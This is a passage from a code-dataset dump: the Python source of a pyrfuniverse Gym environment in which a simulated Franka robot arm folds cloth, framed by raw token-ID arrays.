29889, 2976, 1026, 787, 29901, 13, 9651, 12020, 7865, 2392, 703, 20754, 2496, 451, 15443, 363, 445, 1065, 18405, 1159, 13, 4706, 628, 1067, 29879, 29889, 2976, 1026, 787, 29961, 3389, 29918, 7888, 29962, 13, 13, 1678, 822, 5040, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 624, 3554, 278, 1741, 2425, 322, 6624, 1078, 278, 2280, 13, 4706, 9995, 13, 4706, 1583, 29889, 9344, 16329, 353, 5852, 13, 4706, 396, 445, 881, 748, 3448, 746, 29914, 361, 1065, 2624, 18405, 3913, 13, 4706, 396, 1065, 18405, 12541, 13, 4706, 565, 3865, 2052, 580, 338, 451, 6213, 29901, 13, 9651, 3865, 2052, 2141, 18821, 403, 23538, 1311, 29897, 13, 13, 13, 1753, 5040, 2624, 18405, 7295, 13, 1678, 9995, 13, 1678, 22303, 278, 1857, 1741, 2425, 565, 1950, 13, 1678, 3639, 5852, 565, 372, 23347, 393, 372, 471, 9150, 29892, 7700, 6467, 13, 1678, 9995, 13, 1678, 6258, 2496, 353, 10772, 9930, 29907, 2052, 10739, 6558, 18405, 20754, 2496, 29889, 3784, 6558, 18405, 20754, 2496, 580, 13, 1678, 565, 6258, 2496, 338, 6213, 29901, 13, 4706, 565, 3865, 2052, 580, 338, 451, 6213, 29901, 13, 9651, 3865, 2052, 2141, 18821, 403, 23538, 8516, 29897, 13, 9651, 736, 5852, 13, 4706, 736, 7700, 13, 13, 1678, 405, 1254, 4193, 29889, 816, 14989, 14745, 3047, 2481, 12506, 29918, 5182, 29918, 14357, 29918, 1792, 3401, 29918, 276, 412, 1446, 23538, 13, 308, 29900, 29889, 29900, 29892, 6258, 2496, 29892, 525, 19826, 16329, 29901, 742, 6213, 29892, 7700, 29897, 13, 1678, 736, 5852, 13, 13, 29937, 448, 2683, 2683, 2683, 2683, 9072, 29899, 13, 13, 13, 1753, 15668, 2392, 16649, 7490, 7295, 13, 1678, 9995, 13, 1678, 10729, 278, 1404, 304, 6773, 470, 23283, 278, 2280, 13, 13, 1678, 313, 1657, 2868, 29897, 13, 1678, 9995, 13, 1678, 429, 29918, 3888, 353, 9637, 1627, 29889, 4830, 29918, 11739, 29918, 6194, 10456, 9675, 29889, 735, 29883, 29918, 3888, 580, 7503, 29906, 2314, 29961, 29900, 1822, 17010, 580, 13, 1678, 736, 3865, 6558, 16649, 7490, 29898, 13, 4706, 376, 2744, 15668, 1059, 756, 10761, 1273, 24695, 13, 4706, 376, 1323, 14150, 613, 376, 2182, 277, 613, 6213, 29892, 376, 3319, 29900, 1800, 1642, 4830, 29898, 735, 29918, 3888, 876, 13, 13, 13, 4717, 29902, 1660, 28350, 1660, 353, 313, 3924, 24365, 29892, 18914, 2392, 29892, 7670, 3377, 4074, 6685, 29897, 13, 13, 13, 1753, 1065, 2624, 18405, 29898, 19218, 29922, 8516, 29892, 15668, 29918, 2704, 29918, 12888, 29922, 8516, 29892, 13, 462, 1667, 29922, 3059, 4873, 6330, 1125, 13, 1678, 9995, 13, 1678, 7525, 278, 1741, 2425, 29892, 2244, 278, 1404, 565, 591, 881, 6773, 565, 385, 13, 1678, 3682, 338, 12624, 29889, 4803, 445, 740, 2012, 310, 3865, 4873, 6330, 2141, 13, 13, 1678, 584, 3207, 1852, 29894, 29901, 8427, 6273, 13, 1678, 584, 3207, 15668, 29918, 2704, 29918, 12888, 29901, 8108, 304, 1246, 297, 1206, 310, 15668, 1059, 13, 1678, 584, 3207, 1667, 29901, 4241, 2280, 770, 13, 1678, 9995, 13, 1678, 565, 1852, 29894, 338, 6213, 29901, 13, 4706, 1852, 29894, 353, 10876, 29889, 19218, 13, 13, 1678, 565, 15668, 29918, 2704, 29918, 12888, 338, 6213, 29901, 13, 4706, 15668, 29918, 2704, 29918, 12888, 353, 15668, 2392, 16649, 7490, 13, 13, 1678, 1065, 29918, 7888, 353, 3865, 6558, 18405, 29889, 3784, 6558, 18405, 580, 13, 1678, 6258, 2496, 353, 10772, 9930, 29907, 2052, 10739, 6558, 18405, 20754, 2496, 580, 13, 1678, 10772, 9930, 29907, 2052, 10739, 6558, 18405, 20754, 2496, 29889, 1202, 6558, 18405, 20754, 2496, 29918, 517, 6558, 18405, 23538, 13, 4706, 6258, 2496, 29892, 1065, 29918, 7888, 29897, 13, 13, 1678, 937, 29918, 3389, 353, 3865, 2052, 580, 338, 6213, 13, 1678, 1018, 29901, 13, 4706, 1550, 6258, 2496, 29889, 9344, 6558, 7295, 13, 9651, 1018, 29901, 13, 18884, 565, 937, 29918, 3389, 29901, 13, 462, 1678, 937, 29918, 3389, 353, 7700, 13, 462, 1678, 1667, 29898, 19218, 29897, 13, 18884, 1683, 29901, 13, 462, 1678, 3865, 2052, 2141, 3389, 580, 13, 9651, 5174, 18865, 29902, 1660, 28350, 1660, 408, 429, 29901, 13, 18884, 903, 21707, 29889, 11739, 703, 24780, 11415, 310, 1273, 29879, 29901, 1273, 29879, 613, 13, 462, 462, 29871, 1134, 29898, 735, 467, 1649, 978, 1649, 29892, 429, 29897, 13, 18884, 2867, 13, 9651, 5174, 8960, 408, 429, 29901, 13, 18884, 903, 21707, 29889, 11739, 703, 2744, 15668, 3682, 10761, 29901, 1273, 29879, 613, 429, 29897, 13, 18884, 565, 451, 15668, 29918, 2704, 29918, 12888, 7295, 13, 462, 1678, 10876, 29889, 13322, 29898, 29900, 29897, 13, 9651, 1683, 29901, 13, 18884, 2867, 13, 1678, 7146, 29901, 13, 4706, 10772, 9930, 29907, 2052, 10739, 6558, 18405, 20754, 2496, 29889, 5992, 6558, 18405, 20754, 2496, 4591, 6558, 18405, 23538, 13, 9651, 1065, 29918, 7888, 29897, 13, 2 ]
pyrfuniverse/envs/robotics/franka_cloth_fold_env.py
happyCoderJDFJJ/pyrfuniverse
0
58917
<reponame>happyCoderJDFJJ/pyrfuniverse from pyrfuniverse.envs import RFUniverseGymGoalWrapper from pyrfuniverse.utils import RFUniverseController import numpy as np from gym import spaces from gym.utils import seeding import copy class FrankaClothFoldEnv(RFUniverseGymGoalWrapper): metadata = {'render.modes': ['human']} height_offset = 0.01 def __init__( self, asset_bundle_file, executable_file=None, reward_type='sparse', tolerance=0.05, object_xz_range=0.055, object_rotation_range=180, ): super().__init__( executable_file=executable_file, camera_channel_id=None, articulation_channel_id="581ec41b-1241-11ec-a092-18c04d443e7d", obi_cloth_with_grasping_channel_id="581ec41a-1241-11ec-a092-18c04d443e7d", game_object_channel_id=None, ) self.reward_type = reward_type self.tolerance = tolerance self.object_xz_range = object_xz_range self.object_rotation_range = object_rotation_range self.object_range_low = np.array([-object_xz_range, self.height_offset, -object_xz_range]) self.object_range_high = np.array([object_xz_range, self.height_offset, object_xz_range]) self.asset_bundle_file = asset_bundle_file self.ik_controller = RFUniverseController('franka', base_pos=np.array([-0.6, 0, 0])) self.t = 0 self.has_loaded_object = False self.goal = None self.seed() self._load_object() self.action_space = spaces.Box( low=-1, high=1, shape=(4,), dtype=np.float32 ) obs = self._get_obs() self.observation_space = spaces.Dict({ 'observation': spaces.Box(-np.inf, np.inf, shape=obs['observation'].shape, dtype=np.float32), 'desired_goal': spaces.Box(-np.inf, np.inf, shape=obs['desired_goal'].shape, dtype=np.float32), 'achieved_goal': spaces.Box(-np.inf, np.inf, shape=obs['achieved_goal'].shape, dtype=np.float32) }) def step(self, action: np.ndarray): pos_ctrl = action[:3] * 0.05 curr_pos = np.array(self.articulation_channel.data[1]['positions'][3]) pos_ctrl = curr_pos + pos_ctrl joint_positions = self.ik_controller.calculate_ik_recursive(pos_ctrl) curr_gripper_width = self._get_gripper_width() target_gripper_width = curr_gripper_width + action[3] * 0.2 target_gripper_width = np.clip(target_gripper_width, 0, 0.08) joint_positions.append(target_gripper_width) self._set_franka_joints(np.array(joint_positions)) self.t += 1 obs = self._get_obs() done = False info = { 'is_success': self._check_success(obs) } reward = self.compute_reward(obs['achieved_goal'], obs['desired_goal'], info) return obs, reward, done, info def reset(self): super().reset() self._destroy_object() self.env.reset() self.ik_controller.reset() self.t = 0 self._load_object() grasp_position = self._get_grasp_position() joint_positions = self.ik_controller.calculate_ik_recursive(grasp_position) self.articulation_channel.set_action( 'SetJointPositionDirectly', index=0, joint_positions=list(joint_positions), ) self._step() return self._get_obs() def seed(self, seed=1234): self.np_random, seed = seeding.np_random(seed) return [seed] def render(self, mode='human'): self._step() def compute_reward(self, achieved_goal, desired_goal, info): distance = self._compute_goal_distance(achieved_goal, desired_goal) if self.reward_type == 'sparse': return -(distance > self.tolerance).astype(np.float32) else: return -distance def _get_obs(self): gripper_position = np.array(self.articulation_channel.data[1]['positions'][3]) gripper_velocity = np.array(self.articulation_channel.data[1]['velocities'][3]) gripper_width = self._get_gripper_width() panda_obs = np.concatenate((gripper_position, gripper_velocity, [gripper_width])) grasp_position = np.array(self.obi_cloth_with_grasping_channel.data[0]['grasp_position']) grasp_rotation = np.array(self.obi_cloth_with_grasping_channel.data[0]['grasp_rotation']) grasp_velocity = np.array(self.obi_cloth_with_grasping_channel.data[0]['grasp_velocity']) grasp_angular_vel = np.array(self.obi_cloth_with_grasping_channel.data[0]['grasp_angular_vel']) achieved_goal = grasp_position.copy() object_obs = np.concatenate((grasp_position, grasp_rotation, grasp_velocity, grasp_angular_vel)) obs = np.concatenate((panda_obs, object_obs)) return { 'observation': obs.copy(), 'achieved_goal': achieved_goal.copy(), 'desired_goal': self.goal.copy() } def _generate_random_float(self, min: float, max: float) -> float: assert min < max, \ 'Min value is {}, while max value is {}.'.format(min, max) random_float = np.random.rand() random_float = random_float * (max - min) + min return random_float def _set_franka_joints(self, a: np.ndarray): self.articulation_channel.set_action( 'SetJointPosition', index=0, joint_positions=list(a[0:7]), ) self._step() a[7] = -1 * a[7] / 2 self.articulation_channel.set_action( 'SetJointPosition', index=1, joint_positions=[a[7], a[7]], ) self._step() def _get_gripper_width(self): gripper_joint_positions = copy.deepcopy(self.articulation_channel.data[1]['joint_positions']) return -1 * (gripper_joint_positions[0] + gripper_joint_positions[1]) def _check_success(self, obs): achieved_goal = obs['achieved_goal'] desired_goal = obs['desired_goal'] distance = self._compute_goal_distance(achieved_goal, desired_goal) return (distance < self.tolerance).astype(np.float32) def _compute_goal_distance(self, goal_a, goal_b): assert goal_a.shape == goal_b.shape return np.linalg.norm(goal_a - goal_b, axis=-1) def _load_object(self): assert self.asset_bundle_file is not None, \ 'There must be an asset bundle file to load.' object_name = 'Obi Solver For Grasp' position = self.np_random.uniform(self.object_range_low, self.object_range_high) rotation = [0, self._generate_random_float(-self.object_rotation_range, self.object_rotation_range), 0] self.obi_cloth_with_grasping_channel.set_action( 'LoadObiClothWithGrasping', filename=self.asset_bundle_file, name=object_name, position=position, rotation=rotation ) self._step() self.has_loaded_object = True self.goal = np.array(self.obi_cloth_with_grasping_channel.data[0]['target_position']) def _destroy_object(self): self.obi_cloth_with_grasping_channel.set_action( 'Destroy', index=0 ) self._step() self.has_loaded_object = False self.goal = None def _get_grasp_position(self): assert self.has_loaded_object, \ 'No object loaded.' grasp_position = np.array(self.obi_cloth_with_grasping_channel.data[0]['grasp_position']) return grasp_position
[ 1, 529, 276, 1112, 420, 29958, 29882, 14862, 29907, 6119, 29967, 4037, 29967, 29967, 29914, 2272, 29878, 7692, 12193, 13, 3166, 282, 4316, 7692, 12193, 29889, 264, 4270, 1053, 390, 29943, 8110, 3901, 29954, 962, 8120, 284, 15646, 13, 3166, 282, 4316, 7692, 12193, 29889, 13239, 1053, 390, 29943, 8110, 3901, 2956, 13, 5215, 12655, 408, 7442, 13, 3166, 330, 962, 1053, 8162, 13, 3166, 330, 962, 29889, 13239, 1053, 16717, 292, 13, 5215, 3509, 13, 13, 13, 1990, 1352, 1335, 6821, 720, 29943, 1025, 21745, 29898, 29934, 29943, 8110, 3901, 29954, 962, 8120, 284, 15646, 1125, 13, 1678, 15562, 353, 11117, 9482, 29889, 1545, 267, 2396, 6024, 26029, 2033, 29913, 13, 1678, 3171, 29918, 10289, 353, 29871, 29900, 29889, 29900, 29896, 13, 13, 1678, 822, 4770, 2344, 12035, 13, 9651, 1583, 29892, 13, 9651, 24342, 29918, 16718, 29918, 1445, 29892, 13, 9651, 16813, 29918, 1445, 29922, 8516, 29892, 13, 9651, 20751, 29918, 1853, 2433, 29879, 5510, 742, 13, 9651, 20341, 749, 29922, 29900, 29889, 29900, 29945, 29892, 13, 9651, 1203, 29918, 29916, 29920, 29918, 3881, 29922, 29900, 29889, 29900, 29945, 29945, 29892, 13, 9651, 1203, 29918, 5450, 362, 29918, 3881, 29922, 29896, 29947, 29900, 29892, 13, 268, 1125, 13, 4706, 2428, 2141, 1649, 2344, 12035, 13, 9651, 16813, 29918, 1445, 29922, 4258, 9246, 29918, 1445, 29892, 13, 9651, 10656, 29918, 12719, 29918, 333, 29922, 8516, 29892, 13, 9651, 1616, 293, 2785, 29918, 12719, 29918, 333, 543, 29945, 29947, 29896, 687, 29946, 29896, 29890, 29899, 29896, 29906, 29946, 29896, 29899, 29896, 29896, 687, 29899, 29874, 29900, 29929, 29906, 29899, 29896, 29947, 29883, 29900, 29946, 29881, 29946, 29946, 29941, 29872, 29955, 29881, 613, 13, 9651, 704, 29875, 29918, 695, 720, 29918, 2541, 29918, 629, 4692, 292, 29918, 12719, 29918, 333, 543, 29945, 29947, 29896, 687, 29946, 29896, 29874, 29899, 29896, 29906, 29946, 29896, 29899, 29896, 29896, 687, 29899, 29874, 29900, 29929, 29906, 29899, 29896, 29947, 29883, 29900, 29946, 29881, 29946, 29946, 29941, 29872, 29955, 29881, 613, 13, 9651, 3748, 29918, 3318, 29918, 12719, 29918, 333, 29922, 8516, 29892, 13, 4706, 1723, 13, 4706, 1583, 29889, 276, 1328, 29918, 1853, 353, 20751, 29918, 1853, 13, 4706, 1583, 29889, 25027, 261, 749, 353, 20341, 749, 13, 4706, 1583, 29889, 3318, 29918, 29916, 29920, 29918, 3881, 353, 1203, 29918, 29916, 29920, 29918, 3881, 13, 4706, 1583, 29889, 3318, 29918, 5450, 362, 29918, 3881, 353, 1203, 29918, 5450, 362, 29918, 3881, 13, 4706, 1583, 29889, 3318, 29918, 3881, 29918, 677, 353, 7442, 29889, 2378, 4197, 29899, 3318, 29918, 29916, 29920, 29918, 3881, 29892, 1583, 29889, 3545, 29918, 10289, 29892, 448, 3318, 29918, 29916, 29920, 29918, 3881, 2314, 13, 4706, 1583, 29889, 3318, 29918, 3881, 29918, 9812, 353, 7442, 29889, 2378, 4197, 3318, 29918, 29916, 29920, 29918, 3881, 29892, 1583, 29889, 3545, 29918, 10289, 29892, 1203, 29918, 29916, 29920, 29918, 3881, 2314, 13, 4706, 1583, 29889, 24129, 29918, 16718, 29918, 1445, 353, 24342, 29918, 16718, 29918, 1445, 13, 4706, 1583, 29889, 638, 29918, 8299, 353, 390, 29943, 8110, 3901, 2956, 877, 16799, 1335, 742, 2967, 29918, 1066, 29922, 9302, 29889, 2378, 4197, 29899, 29900, 29889, 29953, 29892, 29871, 29900, 29892, 29871, 29900, 12622, 13, 4706, 1583, 29889, 29873, 353, 29871, 29900, 13, 13, 4706, 1583, 29889, 5349, 29918, 15638, 29918, 3318, 353, 7700, 13, 4706, 1583, 29889, 28111, 353, 6213, 13, 4706, 1583, 29889, 26776, 580, 13, 4706, 1583, 3032, 1359, 29918, 3318, 580, 13, 13, 4706, 1583, 29889, 2467, 29918, 3493, 353, 8162, 29889, 3313, 29898, 13, 9651, 4482, 10457, 29896, 29892, 1880, 29922, 29896, 29892, 8267, 7607, 29946, 29892, 511, 26688, 29922, 9302, 29889, 7411, 29941, 29906, 13, 4706, 1723, 13, 4706, 20881, 353, 1583, 3032, 657, 29918, 26290, 580, 13, 4706, 1583, 29889, 26739, 362, 29918, 3493, 353, 8162, 29889, 21533, 3319, 13, 9651, 525, 26739, 362, 2396, 8162, 29889, 3313, 6278, 9302, 29889, 7192, 29892, 7442, 29889, 7192, 29892, 8267, 29922, 26290, 1839, 26739, 362, 13359, 12181, 29892, 26688, 29922, 9302, 29889, 7411, 29941, 29906, 511, 13, 9651, 525, 2783, 2859, 29918, 28111, 2396, 8162, 29889, 3313, 6278, 9302, 29889, 7192, 29892, 7442, 29889, 7192, 29892, 8267, 29922, 26290, 1839, 2783, 2859, 29918, 28111, 13359, 12181, 29892, 26688, 29922, 9302, 29889, 7411, 29941, 29906, 511, 13, 9651, 525, 496, 6402, 29918, 28111, 2396, 8162, 29889, 3313, 6278, 9302, 29889, 7192, 29892, 7442, 29889, 7192, 29892, 8267, 29922, 26290, 1839, 496, 6402, 29918, 28111, 13359, 12181, 29892, 26688, 29922, 9302, 29889, 7411, 29941, 29906, 29897, 13, 4706, 5615, 13, 13, 1678, 822, 4331, 29898, 1311, 29892, 3158, 29901, 7442, 29889, 299, 2378, 1125, 13, 4706, 926, 29918, 24220, 353, 3158, 7503, 29941, 29962, 334, 29871, 29900, 29889, 29900, 29945, 13, 4706, 16256, 29918, 1066, 353, 7442, 29889, 2378, 29898, 1311, 29889, 442, 293, 2785, 29918, 12719, 29889, 1272, 29961, 29896, 22322, 1066, 2187, 2033, 29961, 29941, 2314, 13, 4706, 926, 29918, 24220, 353, 16256, 29918, 1066, 718, 926, 29918, 24220, 13, 4706, 14002, 29918, 1066, 2187, 353, 1583, 29889, 638, 29918, 8299, 29889, 15807, 403, 29918, 638, 29918, 3757, 25397, 29898, 1066, 29918, 24220, 29897, 13, 13, 4706, 16256, 29918, 29887, 374, 2496, 29918, 2103, 353, 1583, 3032, 657, 29918, 29887, 374, 2496, 29918, 2103, 580, 13, 4706, 3646, 29918, 29887, 374, 2496, 29918, 2103, 353, 16256, 29918, 29887, 374, 2496, 29918, 2103, 718, 3158, 29961, 29941, 29962, 334, 29871, 29900, 29889, 29906, 13, 4706, 3646, 29918, 29887, 374, 2496, 29918, 2103, 353, 7442, 29889, 24049, 29898, 5182, 29918, 29887, 374, 2496, 29918, 2103, 29892, 29871, 29900, 29892, 29871, 29900, 29889, 29900, 29947, 29897, 13, 4706, 14002, 29918, 1066, 2187, 29889, 4397, 29898, 5182, 29918, 29887, 374, 2496, 29918, 2103, 29897, 13, 13, 4706, 1583, 3032, 842, 29918, 16799, 1335, 29918, 2212, 9466, 29898, 9302, 29889, 2378, 29898, 12090, 29918, 1066, 2187, 876, 13, 4706, 1583, 29889, 29873, 4619, 29871, 29896, 13, 13, 4706, 20881, 353, 1583, 3032, 657, 29918, 26290, 580, 13, 4706, 2309, 353, 7700, 13, 4706, 5235, 353, 426, 13, 9651, 525, 275, 29918, 8698, 2396, 1583, 3032, 3198, 29918, 8698, 29898, 26290, 29897, 13, 4706, 500, 13, 4706, 20751, 353, 1583, 29889, 26017, 29918, 276, 1328, 29898, 26290, 1839, 496, 6402, 29918, 28111, 7464, 20881, 1839, 2783, 2859, 29918, 28111, 7464, 5235, 29897, 13, 13, 4706, 736, 20881, 29892, 20751, 29892, 2309, 29892, 5235, 13, 13, 1678, 822, 10092, 29898, 1311, 1125, 13, 4706, 2428, 2141, 12071, 580, 13, 4706, 1583, 3032, 20524, 29918, 3318, 580, 13, 4706, 1583, 29889, 6272, 29889, 12071, 580, 13, 4706, 1583, 29889, 638, 29918, 8299, 29889, 12071, 580, 13, 4706, 1583, 29889, 29873, 353, 29871, 29900, 13, 4706, 1583, 3032, 1359, 29918, 3318, 580, 13, 13, 4706, 25274, 29918, 3283, 353, 1583, 3032, 657, 29918, 629, 4692, 29918, 3283, 580, 13, 4706, 14002, 29918, 1066, 2187, 353, 1583, 29889, 638, 29918, 8299, 29889, 15807, 403, 29918, 638, 29918, 3757, 25397, 29898, 629, 4692, 29918, 3283, 29897, 13, 4706, 1583, 29889, 442, 293, 2785, 29918, 12719, 29889, 842, 29918, 2467, 29898, 13, 9651, 525, 2697, 29967, 2461, 8003, 17392, 368, 742, 13, 9651, 2380, 29922, 29900, 29892, 13, 9651, 14002, 29918, 1066, 2187, 29922, 1761, 29898, 12090, 29918, 1066, 2187, 511, 13, 4706, 1723, 13, 4706, 1583, 3032, 10568, 580, 13, 13, 4706, 736, 1583, 3032, 657, 29918, 26290, 580, 13, 13, 1678, 822, 16717, 29898, 1311, 29892, 16717, 29922, 29896, 29906, 29941, 29946, 1125, 13, 4706, 1583, 29889, 9302, 29918, 8172, 29892, 16717, 353, 16717, 292, 29889, 9302, 29918, 8172, 29898, 26776, 29897, 13, 4706, 736, 518, 26776, 29962, 13, 13, 1678, 822, 4050, 29898, 1311, 29892, 4464, 2433, 26029, 29374, 13, 4706, 1583, 3032, 10568, 580, 13, 13, 1678, 822, 10272, 29918, 276, 1328, 29898, 1311, 29892, 14363, 29918, 28111, 29892, 7429, 29918, 28111, 29892, 5235, 1125, 13, 4706, 5418, 353, 1583, 3032, 26017, 29918, 28111, 29918, 19244, 29898, 496, 6402, 29918, 28111, 29892, 7429, 29918, 28111, 29897, 13, 4706, 565, 1583, 29889, 276, 1328, 29918, 1853, 1275, 525, 29879, 5510, 2396, 13, 9651, 736, 19691, 19244, 1405, 1583, 29889, 25027, 261, 749, 467, 579, 668, 29898, 9302, 29889, 7411, 29941, 29906, 29897, 13, 4706, 1683, 29901, 13, 9651, 736, 448, 19244, 13, 13, 1678, 822, 903, 657, 29918, 26290, 29898, 1311, 1125, 13, 4706, 330, 374, 2496, 29918, 3283, 353, 7442, 29889, 2378, 29898, 1311, 29889, 442, 293, 2785, 29918, 12719, 29889, 1272, 29961, 29896, 22322, 1066, 2187, 2033, 29961, 29941, 2314, 13, 4706, 330, 374, 2496, 29918, 955, 25245, 353, 7442, 29889, 2378, 29898, 1311, 29889, 442, 293, 2785, 29918, 12719, 29889, 1272, 29961, 29896, 22322, 955, 542, 1907, 2033, 29961, 29941, 2314, 13, 4706, 330, 374, 2496, 29918, 2103, 353, 1583, 3032, 657, 29918, 29887, 374, 2496, 29918, 2103, 580, 13, 13, 4706, 282, 5863, 29918, 26290, 353, 7442, 29889, 535, 29883, 2579, 403, 3552, 29887, 374, 2496, 29918, 3283, 29892, 330, 374, 2496, 29918, 955, 25245, 29892, 518, 29887, 374, 2496, 29918, 2103, 12622, 13, 13, 4706, 25274, 29918, 3283, 353, 7442, 29889, 2378, 29898, 1311, 29889, 15647, 29918, 695, 720, 29918, 2541, 29918, 629, 4692, 292, 29918, 12719, 29889, 1272, 29961, 29900, 22322, 629, 4692, 29918, 3283, 11287, 13, 4706, 25274, 29918, 5450, 362, 353, 7442, 29889, 2378, 29898, 1311, 29889, 15647, 29918, 695, 720, 29918, 2541, 29918, 629, 4692, 292, 29918, 12719, 29889, 1272, 29961, 29900, 22322, 629, 4692, 29918, 5450, 362, 11287, 13, 4706, 25274, 29918, 955, 25245, 353, 7442, 29889, 2378, 29898, 1311, 29889, 15647, 29918, 695, 720, 29918, 2541, 29918, 629, 4692, 292, 29918, 12719, 29889, 1272, 29961, 29900, 22322, 629, 4692, 29918, 955, 25245, 11287, 13, 4706, 25274, 29918, 6825, 29918, 955, 353, 7442, 29889, 2378, 29898, 1311, 29889, 15647, 29918, 695, 720, 29918, 2541, 29918, 629, 4692, 292, 29918, 12719, 29889, 1272, 29961, 29900, 22322, 629, 4692, 29918, 6825, 29918, 955, 11287, 13, 4706, 14363, 29918, 28111, 353, 25274, 29918, 3283, 29889, 8552, 580, 13, 13, 4706, 1203, 29918, 26290, 353, 7442, 29889, 535, 29883, 2579, 403, 3552, 629, 4692, 29918, 3283, 29892, 25274, 29918, 5450, 362, 29892, 25274, 29918, 955, 25245, 29892, 25274, 29918, 6825, 29918, 955, 876, 13, 13, 4706, 20881, 353, 7442, 29889, 535, 29883, 2579, 403, 3552, 29886, 5863, 29918, 26290, 29892, 1203, 29918, 26290, 876, 13, 13, 4706, 736, 426, 13, 9651, 525, 26739, 362, 2396, 20881, 29889, 8552, 3285, 13, 9651, 525, 496, 6402, 29918, 28111, 2396, 14363, 29918, 28111, 29889, 8552, 3285, 13, 9651, 525, 2783, 2859, 29918, 28111, 2396, 1583, 29889, 28111, 29889, 8552, 580, 13, 4706, 500, 13, 13, 1678, 822, 903, 17158, 29918, 8172, 29918, 7411, 29898, 1311, 29892, 1375, 29901, 5785, 29892, 4236, 29901, 5785, 29897, 1599, 5785, 29901, 13, 4706, 4974, 1375, 529, 4236, 29892, 320, 13, 9651, 525, 8140, 995, 338, 24335, 1550, 4236, 995, 338, 426, 1836, 4286, 4830, 29898, 1195, 29892, 4236, 29897, 13, 4706, 4036, 29918, 7411, 353, 7442, 29889, 8172, 29889, 9502, 580, 13, 4706, 4036, 29918, 7411, 353, 4036, 29918, 7411, 334, 313, 3317, 448, 1375, 29897, 718, 1375, 13, 13, 4706, 736, 4036, 29918, 7411, 13, 13, 1678, 822, 903, 842, 29918, 16799, 1335, 29918, 2212, 9466, 29898, 1311, 29892, 263, 29901, 7442, 29889, 299, 2378, 1125, 13, 4706, 1583, 29889, 442, 293, 2785, 29918, 12719, 29889, 842, 29918, 2467, 29898, 13, 9651, 525, 2697, 29967, 2461, 8003, 742, 13, 9651, 2380, 29922, 29900, 29892, 13, 9651, 14002, 29918, 1066, 2187, 29922, 1761, 29898, 29874, 29961, 29900, 29901, 29955, 11724, 13, 4706, 1723, 13, 4706, 1583, 3032, 10568, 580, 13, 13, 4706, 263, 29961, 29955, 29962, 353, 448, 29896, 334, 263, 29961, 29955, 29962, 847, 29871, 29906, 13, 4706, 1583, 29889, 442, 293, 2785, 29918, 12719, 29889, 842, 29918, 2467, 29898, 13, 9651, 525, 2697, 29967, 2461, 8003, 742, 13, 9651, 2380, 29922, 29896, 29892, 13, 9651, 14002, 29918, 1066, 2187, 11759, 29874, 29961, 29955, 1402, 263, 29961, 29955, 20526, 13, 4706, 1723, 13, 4706, 1583, 3032, 10568, 580, 13, 13, 1678, 822, 903, 657, 29918, 29887, 374, 2496, 29918, 2103, 29898, 1311, 1125, 13, 4706, 330, 374, 2496, 29918, 12090, 29918, 1066, 2187, 353, 3509, 29889, 24535, 8552, 29898, 1311, 29889, 442, 293, 2785, 29918, 12719, 29889, 1272, 29961, 29896, 22322, 12090, 29918, 1066, 2187, 11287, 13, 4706, 736, 448, 29896, 334, 313, 29887, 374, 2496, 29918, 12090, 29918, 1066, 2187, 29961, 29900, 29962, 718, 330, 374, 2496, 29918, 12090, 29918, 1066, 2187, 29961, 29896, 2314, 13, 13, 1678, 822, 903, 3198, 29918, 8698, 29898, 1311, 29892, 20881, 1125, 13, 4706, 14363, 29918, 28111, 353, 20881, 1839, 496, 6402, 29918, 28111, 2033, 13, 4706, 7429, 29918, 28111, 353, 20881, 1839, 2783, 2859, 29918, 28111, 2033, 13, 4706, 5418, 353, 1583, 3032, 26017, 29918, 28111, 29918, 19244, 29898, 496, 6402, 29918, 28111, 29892, 7429, 29918, 28111, 29897, 13, 13, 4706, 736, 313, 19244, 529, 1583, 29889, 25027, 261, 749, 467, 579, 668, 29898, 9302, 29889, 7411, 29941, 29906, 29897, 13, 13, 1678, 822, 903, 26017, 29918, 28111, 29918, 19244, 29898, 1311, 29892, 7306, 29918, 29874, 29892, 7306, 29918, 29890, 1125, 13, 4706, 4974, 7306, 29918, 29874, 29889, 12181, 1275, 7306, 29918, 29890, 29889, 12181, 13, 4706, 736, 7442, 29889, 29880, 979, 29887, 29889, 12324, 29898, 28111, 29918, 29874, 448, 7306, 29918, 29890, 29892, 9685, 10457, 29896, 29897, 13, 13, 1678, 822, 903, 1359, 29918, 3318, 29898, 1311, 1125, 13, 4706, 4974, 1583, 29889, 24129, 29918, 16718, 29918, 1445, 338, 451, 6213, 29892, 320, 13, 9651, 525, 8439, 1818, 367, 385, 24342, 11846, 934, 304, 2254, 6169, 13, 13, 4706, 1203, 29918, 978, 353, 525, 29949, 5365, 4956, 369, 1152, 1632, 4692, 29915, 13, 4706, 2602, 353, 1583, 29889, 9302, 29918, 8172, 29889, 29590, 29898, 1311, 29889, 3318, 29918, 3881, 29918, 677, 29892, 1583, 29889, 3318, 29918, 3881, 29918, 9812, 29897, 13, 4706, 13733, 353, 518, 29900, 29892, 1583, 3032, 17158, 29918, 8172, 29918, 7411, 6278, 1311, 29889, 3318, 29918, 5450, 362, 29918, 3881, 29892, 1583, 29889, 3318, 29918, 5450, 362, 29918, 3881, 511, 29871, 29900, 29962, 13, 13, 4706, 1583, 29889, 15647, 29918, 695, 720, 29918, 2541, 29918, 629, 4692, 292, 29918, 12719, 29889, 842, 29918, 2467, 29898, 13, 9651, 525, 5896, 29949, 5365, 6821, 720, 3047, 3338, 4692, 292, 742, 13, 9651, 10422, 29922, 1311, 29889, 24129, 29918, 16718, 29918, 1445, 29892, 13, 9651, 1024, 29922, 3318, 29918, 978, 29892, 13, 9651, 2602, 29922, 3283, 29892, 13, 9651, 13733, 29922, 5450, 362, 13, 4706, 1723, 13, 4706, 1583, 3032, 10568, 580, 13, 4706, 1583, 29889, 5349, 29918, 15638, 29918, 3318, 353, 5852, 13, 4706, 1583, 29889, 28111, 353, 7442, 29889, 2378, 29898, 1311, 29889, 15647, 29918, 695, 720, 29918, 2541, 29918, 629, 4692, 292, 29918, 12719, 29889, 1272, 29961, 29900, 22322, 5182, 29918, 3283, 11287, 13, 13, 1678, 822, 903, 20524, 29918, 3318, 29898, 1311, 1125, 13, 4706, 1583, 29889, 15647, 29918, 695, 720, 29918, 2541, 29918, 629, 4692, 292, 29918, 12719, 29889, 842, 29918, 2467, 29898, 13, 9651, 525, 14994, 4727, 742, 13, 9651, 2380, 29922, 29900, 13, 4706, 1723, 13, 4706, 1583, 3032, 10568, 580, 13, 4706, 1583, 29889, 5349, 29918, 15638, 29918, 3318, 353, 7700, 13, 4706, 1583, 29889, 28111, 353, 6213, 13, 13, 1678, 822, 903, 657, 29918, 629, 4692, 29918, 3283, 29898, 